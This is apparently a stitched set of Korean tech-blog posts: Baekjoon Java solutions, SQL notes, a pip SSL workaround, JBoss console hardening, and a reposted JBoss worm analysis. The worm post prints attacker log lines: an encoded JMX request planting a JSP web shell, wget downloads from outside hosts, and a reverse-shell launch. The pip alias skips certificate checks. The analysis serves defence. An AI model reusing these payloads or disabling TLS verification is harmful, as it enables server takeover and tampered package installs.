import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.StringTokenizer;

public class Main {

	public static void main(String[] args) throws IOException {
		
		BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
		StringTokenizer st = new StringTokenizer(br.readLine());
		
		int N = Integer.parseInt(st.nextToken());
		
		long dp[][] = new long[N][2];
		
		st = new StringTokenizer(br.readLine());
		for (int i = 0; i < N; i++) {
			dp[i][0] =Integer.parseInt(st.nextToken());
		}
		long max = -1;
		if(dp[0][0]> 0) { 
			dp[0][1] = dp[0][0];
		}
		max = dp[0][0];
		for (int i = 1; i < N; i++) {
			dp[i][1] = dp[i-1][1]+dp[i][0] > dp[i][0] ? dp[i-1][1]+dp[i][0] :dp[i][0];
			max = dp[i][1] > max ? dp[i][1] : max ;
		}
		
		System.out.println(max);

	}

}

'알고리즘' 카테고리의 다른 글

JAVA 백준 1463번 1로 만들기  (0) 2020.02.06
JAVA 백준 1000번 A+B  (0) 2020.02.06

 

 

 

DP로 풀었다. 

 

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.StringTokenizer;

public class Main {
	
	public static void main(String[] args) throws IOException {
		BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
		StringTokenizer st = new StringTokenizer(br.readLine());

        
        int N = Integer.parseInt(st.nextToken());
        

        long dp[] = new long[N+1];
        
        dp[0] = Long.parseLong("0");
        dp[1] = Long.parseLong("0");
        
        for(int i=2; i<=N; i++) {
//        	System.out.println("N=="+N+",i=="+i);
        	if (i%3 == 0) {
//        		System.out.println(i+"::mod3");
        		if (dp[i]==0 || (dp[i] >1+dp[i/3])) { 	
        			dp[i] = 1+dp[i/3];
        		}
        	}
        	if (i%2 == 0) {
//        		System.out.println(i+"::mod2");
        		if (dp[i]==0 || (dp[i] >1+dp[i/2])) {
//        			System.out.println(i/2+">"+dp[i/2]);
        			dp[i] = 1+dp[i/2]; 
        		}
        	}
        	
        	if((i%3 != 0 && i%2 != 0) || dp[i] > dp[i-1]+1) {
//        		System.out.println(i+"::1+"+dp[i-1]);
        		dp[i] = dp[i-1]+1;
        	}
        	
//        	System.out.println(i+"="+dp[i]);
        }
        
        
        System.out.println(dp[N]);
		
	}

}

'알고리즘' 카테고리의 다른 글

JAVA 백준 1912 연속합  (0) 2020.02.11
JAVA 백준 1000번 A+B  (0) 2020.02.06

import java.io.BufferedReader; 
import java.io.IOException; 
import java.io.InputStreamReader; 
import java.util.StringTokenizer; 

public class Main { 
public static void main(String args[]) throws IOException { 
BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); 
StringTokenizer st = new StringTokenizer(br.readLine()); 
int a = Integer.parseInt(st.nextToken()); 
int b = Integer.parseInt(st.nextToken()); 
System.out.println(a+b); 
} 
} 

 

'알고리즘' 카테고리의 다른 글

JAVA 백준 1912 연속합  (0) 2020.02.11
JAVA 백준 1463번 1로 만들기  (0) 2020.02.06

import pyautogui
import datetime as dt
import time

 

endhope=False
while not endhope:
tim=dt.datetime.now()
if tim.second==0:
pyautogui.click()
endhope=True
print(tim)
elif tim.second>=59 and tim.microsecond>800000:
time.sleep(0.0001)
print(tim)
else:
time.sleep(0.1)
print(tim)

https://harryp.tistory.com/831 [Park's Life]

 

[Python] 파이썬 pip 설치 시 SSL 인증서 문제 해결 (error: [SSL: CERTIFICATE_VERIFY_FAILED])

안녕하세요. 파이썬의 라이브러리 설치는 pip로 간단하게 할 수 있습니다. 그런데 외부 네트워크 접속이 자유롭지 못한 네트워크 (회사 네트워크 등)에서는 SSL 인증서 문제 등으로 pip를 통한 라이브러리 다운 및..

harryp.tistory.com

 

안녕하세요.

 

파이썬의 라이브러리 설치는 pip로 간단하게 할 수 있습니다.

 

그런데 외부 네트워크 접속이 자유롭지 못한 네트워크 (회사 네트워크 등)에서는 SSL 인증서 문제 등으로 

 

pip를 통한 라이브러리 다운 및 설치가 되지 않을 수 있습니다.

 

이런 상황에서 해결 방법입니다.

 

 

pip의 옵션 중 --trusted-host 옵션을 사용해주면 됩니다.

 

pip에서 라이브러리를 다운받는 서버인

 

pypi.org 

 

files.pythonhosted.org 를 해당 옵션으로 지정 후 install을 해주시면 됩니다.

 

 

ex) pip --trusted-host pypi.org --trusted-host files.pythonhosted.org install 라이브러리명

 

 

저 같은 경우 alias로 등록을 해두었습니다. (관련 포스팅 - http://harryp.tistory.com/171)

 

vi로 ~/.bashrc 파일을 열어 제일 마지막에 다음 내용을 추가했습니다.

 

 

alias pip='pip --trusted-host pypi.org --trusted-host files.pythonhosted.org'



출처: https://harryp.tistory.com/831 [Park's Life]

SELECT DISTINCT a.name
    FROM sysobjects AS a
                   LEFT JOIN syscomments AS ON a.id = b.id
 WHERE a.xtype = 'P'
       AND b.text LIKE '%찾은문자열%'


http://vicki.tistory.com/1301

 

 

[JBoss] 관리 콘솔 접근권한 부여

WEB/JBossAS / 2011.11.16 11:04

JBoss 가 제공해주는 여러 관리 콘솔 (admin-console, jmx-console, web-console) 들은 기능이 막강하지만 접근권한을 재대로 관리하지 않으면 많은 위험성을 노출하게 됩니다.

각 관리 콘솔에 대한 접근권한 부여 방법에 대해 설명합니다.
 

admin-console

 



JBoss 에서 제공해주는 admin-console 입니다. 이름에서 알 수 있듯이 관리자 콘솔입니다. 모니터링 및 배포와 같은 기능을 제공합니다.

 

접근 권한 설정

admin-console 은 기본적으로 접근 권한의 제한이 있습니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/admin-console.war/WEB-INF/jboss-web.xml
<jboss-web>
     ...
    <security-domain>java:/jaas/jmx-console</security-domain>
     ...
</jboss-web>


security-domain 이 "java:jaas/jmx-console" 로 설정이 되어 jmx-console 과 같은 권한으로 제어합니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/login-config.xml
 

 

  <!-- A template configuration for the jmx-console web application. This
    defaults to the UsersRolesLoginModule the same as other and should be
    changed to a stronger authentication mechanism as required.
  -->
  <application-policy name="jmx-console">
    <authentication>
      <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
        flag="required">
        <module-option name="usersProperties">props/jmx-console-users.properties</module-option>
        <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>
      </login-module>
    </authentication>
  </application-policy>


위와 같이 jmx-console 에 대한 기본설정은 props/jmx-console-users.properties 와 props/jmx-console-roles.properties 에 권한과 사용자 정보를 설정할 수 있습니다.

$JBOSS_HOME/server/<CONFIGURATION>/conf/props/jmx-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=[변경할 패스워드]


위의 설정이 완료되면 admin-console 재시작 후에 패스워드 변경된 것을 확인할 수 있습니다.

jmx-console

 



JMX 를 제어할 수 있는 페이지입니다. jboss 의 경우 JMX 에서 deploy, undeploy, start, stop, destroy 가 가능하므로 jboss 전문가가 악의를 가지고 있다면 시스템 전체에 영향을 끼칠 수 있는 콘솔입니다.

 

접근 권한 설정

$JBOSS_HOME/server/<CONFIGURATION>/deploy/jmx-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
       <http-method>GET</http-method>
       <http-method>POST</http-method>
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>

주석처리가 되어 있는 security-constraint 부분을 활성화 시킵니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/jmx-console.war/WEB-INF/jboss-web.xml
<jboss-web>
   <!-- Uncomment the security-domain to enable security. You will
      need to edit the htmladaptor login configuration to setup the
      login modules used to authentication users.
   -->
      <security-domain>java:/jaas/jmx-console</security-domain>
</jboss-web>

admin-console 과 같이 security-domain 이 "java:/jaas/jmx-console" 이므로 admin-console 에서 설정한 사용자 정보를 통해 접근 권한 제한이 가능합니다.

admin-console 과 마찬가지로 설정 후 jmx-console 을 재시작 하면 접근 제한 설정이 가능합니다.

 

web-console

 



즐겨 사용하는 것이 아니라 정확한 기능은 파악하지 못하였으나 서버 정보가 외부로 노출되는 것을 막기 위해 접근 제한이 필요합니다.

web-console 의 경우 모든 configuration 에 있는 것이 아니라 "default" 와 "all" 에만 있으니 본인의 configuration 에 맞게 설정하시기 바랍니다. 

 

접근 권한 설정

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
      <web-resource-collection>
         <web-resource-name>HtmlAdaptor</web-resource-name>
         <description>An example security config that only allows users with the
            role JBossAdmin to access the HTML JMX console web application
         </description>
         <url-pattern>/*</url-pattern>
         <http-method>GET</http-method>
         <http-method>POST</http-method>
      </web-resource-collection>
      <auth-constraint>
         <role-name>JBossAdmin</role-name>
      </auth-constraint>
   </security-constraint>


security-constraint 주석을 제거합니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
<jboss-web>
   <!-- Uncomment the security-domain to enable security. You will
   need to edit the htmladaptor login configuration to setup the
   login modules used to authentication users.
   -->
   <security-domain>java:/jaas/web-console</security-domain>
    ...
< /jboss-web>


security-domain 주석도 삭제합니다.

$JBOSS_HOME/server/<CONFIGURATION>/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes/web-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=[변경할 패스워드]

jmx-console 의 패스워드를 설정하듯이 설정합니다.

재시작 후 재대로 적용이 되었는지를 확인합니다.



지금까지 설명한 접근제한은 가장 기본적인 접근제한 방법 (BASIC) 입니다. 패스워드가 암호화되지 않았기 때문에 서버가 뚫리면 패스워드도 노출되게 됩니다. BASIC 말고도 DIGEST, FORM, and CLIENT-CERT 방식으로 설정이 가능하니 필요에 따라 연구하여 설정하시면 될 것 같습니다.
 

참고자료

http://docs.jboss.org/jbossas/docs/Installation_And_Getting_Started_Guide/5/html/The_JBoss_Server___A_Quick_Tour.html


 

'SERVER' 카테고리의 다른 글

JBOSS 취약점  (0) 2016.06.29
JBOSS 취약점 SERVER 2016. 6. 29. 17:35

출처: http://vicki.tistory.com/1300


여러분들의 JBoss 는 안전한가요?

WEB/JBossAS / 2011.11.15 14:46

지난 10월 20일, 오래된 버전의 JBoss 에서 웜이 돌 수 있다라는 GUERRILA7 의 리포팅이 있었습니다. 디폴트로 설정된 JMX console (/jmx-console) 의 접근 취약성을 이용하여, 원격지의 공격자가 아무런 인증 절차 없이 HTTP 통신을 통하여 서버의 명령어를 실행시킬 수 있었습니다.

위험성이 노출된 버전은 아래와 같습니다.
  • JBoss Application Server (AS) 4.0.x, 5.x
  • JBoss Communications Platform 1.2
  • JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
  • JBoss Enterprise Portal Platform (EPP) 4.3
  • JBoss Enterprise Web Platform (EWP) 5.0
  • JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0


웜에 감염된 JBoss 들은 구글 검색을 통해 쉽게 확인할 수 있습니다.





공격은 다음과 같은 형식으로 이루어집니다.

아래 아파치 로그를 통해 설명해드리겠습니다.

사례 1 - zecmd


1. HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0

decode request

2. GET /zecmd/zecmd.jsp HTTP/1.0
3. GET /zecmd/zecmd.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0
4. GET /zecmd/zecmd.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0
5. GET /zecmd/zecmd.jsp?comment=perl+linda.pl HTTP/1.0


1. JMX console 의 취약점을 이용하여 백도어 jsp 를 배포시킵니다.
2. 백도어 jsp (zecmd.jsp) 의 정상 동작여부를 확인합니다.
3. 특정 경로에서 공격을 위한 tar.gz 파일 (kisses.tar.gz) 을 다운로드 받습니다.
4. tar.gz 파일의 압축을 해제합니다.
5. perl script (linda.pl) 을 실행시킵니다.
  >> linda.pl 에 의해 여러가지 경로로 worm 이 증식을 하게됩니다.

더보기




사례 2 - idssvc


GET /idssvc/idssvc.jsp HTTP/1.0
GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=tar+xzvf+javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=perl+lindb.pl HTTP/1.0


zecmd 와 마찬가지로 *.tar.gz 의 다운로드를 시도합니다. 그 후 perl script 를 시작시킴으로써 worm 의 증식을 발동시킵니다.



사례 3 - iesvc


GET /iesvc/iesvc.jsp?comment=wget+https%3A%2F%2F203.177.33.156%2Fadmin%2Freverse.txt+--no-check-certificate HTTP/1.1

decode request

GET /iesvc/iesvc.jsp?comment=perl+reverse.txt+199.71.215.203+4442 HTTP/1.1
GET /iesvc/iesvc.jsp?comment=find+%2F+-name+done.php HTTP/1.1

시간이 지날수록 변종들이 생겨나고 있습니다. 특정 경로에서 perl script 인 reverse.txt 를 내려받아 실행을 시킵니다.
reverse.txt 는 백도어를 대놓고 심어놓습니다.

reverse.txt





피해 복구 방법

1. 동작중인 perl 프로세스 종료
현재까지 알려진 worm 은 perl 을 통해 구동이 됩니다. 해당 서버에서 별도의 perl 을 구동하지 않는다면 모든 perl 프로세스를 종료시키시기 바랍니다.


2. 감영된 crontab 제거

# crontab -l

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

 

# crontab -r


위와 같이 관련 worm 들이 /root/.sys* 로 crontab 에 등록이 되어 있습니다. "crontab -r" 명령어로 제거합니다.

3. JMX console 보안 강화
아래 포스팅을 참고하여 보안 설정을 하시기 바랍니다.
2011/11/16 - [WEB/JBossAS] - [JBoss] 관리 콘솔 접근권한 부여



백도어를 통해 외부에서 서버가 제어가능하기 때문에 앞으로 어떻게 확장될지는 공격자 마음입니다. 치명적인 공격을 당하기 전에 점검해보시기 바랍니다.


참고자료

http://eromang.zataz.com/2011/10/25/jboss-worm-analysis-in-details/


'SERVER' 카테고리의 다른 글

[JBoss] 관리 콘솔 접근권한 부여  (0) 2016.07.05
dateadd, datediff DATABASE/MS SQL 2016. 1. 12. 16:47

dateadd

-- 월의 마지막 날
select dateadd(month,1,getdate())-day(getdate())
-- 월의 첫째날
select dateadd(day,-(day(getdate()-1)), getdate())
-- 월의 13개월전 첫째날
select dateadd(month,-12,getdate())-(day(getdate())-1)

-- 1일 더하기
select dateadd(day,1,getdate())
-- 1월 더하기
select dateadd(month,1,getdate())
-- 1년 더하기
select dateadd(year,1,getdate())



datediff

datediff( 시간단위구분자, 시작시간, 종료시간 )


 

getdate()+1 은 현재시간에서 1일을 더하는 함수이다.

현재 시간이 2012-12-20 11:50:11 이면, getdate()+1 은 2012-12-21 11:50:11 이 된다

 

 

각각 분단위, 초단위, 시간단위, 일단위, 월단위, 년단위로 구한다.

select DATEDIFF ( mi , getdate() , getdate()+1 ) ==> 1440 분 (1일)

select DATEDIFF ( s , getdate() , getdate()+1 ) ==> 86400 초 (1일)

select DATEDIFF ( hour , getdate() , getdate()+1 ) ==> 24 시간 (1일)

select DATEDIFF ( day , getdate() , getdate()+1 ) ==> 1 일 (1일)

select DATEDIFF ( month , getdate() , getdate()+31 ) ==> 1 개월 (31일)

select DATEDIFF ( year , getdate() , getdate()+730 ) ==> 2 년 (730일)

 

출처: http://lefigaro.tistory.com/14 

출처 : 토토 블로그 http://intomysql.blogspot.kr/2011/01/union-union-all.html


UNION과 UNION ALL 의 차이 및 주의 사항

ANSI SQL에서 제안하는 집합 연산 "UNION", "INTERSECT", "MINUS" 중에서
MySQL에서는 UNION 집합 연산만 제공하고 있다. 
(하지만 MySQL에서 INTERSECT나 MINUS를 다른 형태의 쿼리로 풀어서 사용할 수 있다.)


이 글에서는 UNION 에 대해서 좀 더 자세히 알아 보고자 한다.
UNION 집합 연산은 다시 아래와 같이 두가지 종류로 나누어진다.
  - UNION ALL
  - UNION DISTINCT


우리가 일반적으로 사용하는 방식인 아무런 추가 키워드 없이 UNION 만 사용하는 것은
UNION DISTINCT 를 줄여서 사용하고 있는 것이다
.

UNION ALL과 UNION DISTINCT를 레코드가 많은 결과에 대해서 적용해본 사람은 
아마도 둘의 처리 방식에 대해서 의구심을 가져본 적이 있을 것이다.

레코드 건수가 많아지면 많아질수록 그 성능 차이는 엄청난 차이를 보여줄 것이다.

우선, 아래와 같이 2개씩 동일한 레코드 데이터를 가지고 있는 tab1과 tab2라는 테이블이 있다.

mysql>SELECT fdpk, fddata FROM tab1;
+------+--------+
| fdpk | fddata |
+------+--------+
|    1 | data1  |
|    2 | data2  |
+------+--------+
2 rows in set (0.00 sec)


mysql>SELECT fdpk, fddata FROM tab2;
+------+--------+
| fdpk | fddata |
+------+--------+
|    1 | data1  |
|    2 | data2  |
+------+--------+
2 rows in set (0.01 sec)


그러면, 이 두개 테이블에 대해서 각각 UNION과 UNION ALL을 사용하는 쿼리를 실행해보자.

mysql>SELECT fdpk, fddata
    -> FROM (
    ->   SELECT fdpk, fddata FROM tab1
    ->   UNION ALL
    ->   SELECT fdpk, fddata FROM tab2
    -> ) x;
+------+--------+
| fdpk | fddata |
+------+--------+
|    1 | data1  |
|    2 | data2  |
|    1 | data1  |
|    2 | data2  |
+------+--------+
4 rows in set (0.00 sec)


mysql>SELECT fdpk, fddata
    -> FROM (
    ->   SELECT fdpk, fddata FROM tab1
    ->   UNION
    ->   SELECT fdpk, fddata FROM tab2
    -> ) x;
+------+--------+
| fdpk | fddata |
+------+--------+
|    1 | data1  |
|    2 | data2  |
+------+--------+
2 rows in set (0.00 sec)


두개의 퀴리 실행 결과 UNION은 레코드가 반으로 줄었다.
이미 다들 알고 있다시피 UNION은 UNION DISTINCT와 동일한 작업을 하기 때문에 중복되는 레코드를 제거했음을 알 수 있다.
하지만, UNION ALL의 경우에는 별도의 중복 제거 과정을 거치지 않고 그냥 결과를 내려준다.
아주 중요한 내용이지만, 사실 이 내용을 다들 별로 신경쓰지 않고 모두들 UNION을 즐겨 사용한다.


안타깝게도, MySQL의 실행계획에서는 둘의 차이를 전혀 느낄 수 없다.
+----+--------------+------------+------+..+------+..+------+------+-------+
| id | select_type  | table      | type |..| key  |..| ref  | rows | Extra |
+----+--------------+------------+------+..+------+..+------+------+-------+
|  1 | PRIMARY      | <derived2> | ALL  |..| NULL |..| NULL |    4 |       |
|  2 | DERIVED      | tab1       | ALL  |..| NULL |..| NULL |    2 |       |
|  3 | UNION        | tab2       | ALL  |..| NULL |..| NULL |    2 |       |
|NULL| UNION RESULT | <union2,3> | ALL  |..| NULL |..| NULL | NULL |       |
+----+--------------+------------+------+..+------+..+------+------+-------+


하지만 중복 제거는 그냥 얻을 수 있는 결과가 아니다.그러면, MySQL이 내부적으로 어떻게 중복을 제거하는 것일까 ?

내부적인 처리를 알아보기 전에, 레코드의 중복이라는 표현을 했는데 이 중복의 기준이 무었일까 ?
    1. 각 테이블의 Primary key ?
    2. 전체 테이블의 모든 필드 ?
    3. 각 서브 쿼리에서 SELECT된 튜플(레코드)의 모든 필드 ?


그렇다. 이미 SELECT된 결과를 가지고 UNION하기 때문에 SELECT되기 전의 테이블이나 레코드에 대한 정보는 알 수 없다.
그래서, 중복 여부의 판단은 SELECT된 튜플들에 속해있는 모든 컬럼의 값들 자체가 중복 체크의 기준이 되는 것이다.


자~, 그러면 이제 MySQL이 내부적으로 UNION ALL과 UNION을 처리하는 과정을 알아보자.
1. 최종 UNION [ALL | DISTINCT] 결과에 적합한 임시 테이블(Temporary table)을 메모리 테이블로 생성
2. UNION 또는 UNION DISTINCT 의 경우, Temporary 테이블의 모든 컬럼으로 Unique Hash 인덱스 생성3. 서브쿼리1 실행 후 결과를 Temporary 테이블에 복사
4. 서브쿼리2 실행 후 결과를 Temporary 테이블에 복사
5. 만약 3,4번 과정에서 Temporary 테이블이 특정 사이즈 이상으로 커지면 

    Temporary 테이블을 Disk Temporary 테이블로 변경 
    (이때 Unique Hash 인덱스는 Unique B-Tree 인덱스로 변경됨)
6. Temporary 테이블을 읽어서 Client에 결과 전송
7. Temporary 테이블 삭제


UNION 두 가지의 차이는 2번 과정 딱 하나이다. 중복 제거를 위해서 Temporary 테이블에 인덱스를 생성하느냐 ?. 그렇지 않느냐 ?.별로 중요하지 않은 것 같지만, 이 인덱스로 인해서 3,4번 과정의 작업이 작지 않은 성능 차이가 만들어 내게 된다.
실제 UNION을 실행하는 데이터의 건수에 따라서 다르겠지만, 1.5 ~ 4배 가량의 성능 차이로 UNION ALL이 빠르게 처리된다.
만약 처리중 데이터의 량이 작아서 5번 과정을 거치지 않는다면 메모리 Temporary 테이블에 Hash 인덱스를 사용하기 때문에 

속도 차이가 아주 미세할 것이다. 
하지만 데이터량이 커져서 5번 과정을 거치게 되면 Disk Temporary 테이블에 B-Tree 인덱스를 사용하기 때문에 큰 성능 차이를 보이게 될 것이다.
이 성능 차이는 UNION 하는 두 집합에 중복되는 레코드가 있든 없든 관계 없이 발생할 것이다.


위에서 잠깐 알아보았던, "중복의 기준"을 생각하면, UNION 하는 컬럼들의 수가 많아지고 레코드의 사이즈가 커질수록 두 작업 모두에게 불리하겠지만, UNION ALL보다는 UNION에 더 악영향이 클 것이다.

결론은,
0. UNION 이든지 UNION ALL이든지 사실 그리 좋은 SQL 작성은 아니다. 

    UNION이 필요하다는 것은 사실 두 엔터티(테이블)가 하나의 엔터티(테이블)로 통합이 되었어야 
    할 엔터티들이었는데, 알 수 없는 이유로 분리 운영되는 경우가 상당히 많다. 
    즉 모델링 차원에서 엔터티를 적절히 통합하여 UNION의 요건을 모두 제거하자.
1. 두 집합에 절대 중복된 튜플(레코드)가 발생할 수 없다는 보장이 있다면 UNION ALL을 꼭 사용하자.

    두 집합에서 모두 각각의 PK를 조회하는데, 그 두 집합의 PK가 절대 중복되지 않는 형태
2. 중복이 있다 하더라도 그리 문제되지 않는다면 UNION 보다는 UNION ALL을 사용하자.
3. 만약 UNION이나 UNION ALL을 사용해야 한다면, 최소 필요 컬럼만 SELECT 하자.


'DATABASE' 카테고리의 다른 글

[펌] 트랜잭션 로그 백업(Transaction Log Backup)에 관하여  (0) 2013.11.05
TRUNCATE  (0) 2013.09.25
CRUD 의 중요도?  (0) 2013.08.02
DECODE, RANK()OVER(), UNION/UNION ALL  (1) 2013.08.02
DATA BASE _ 기초  (0) 2013.07.10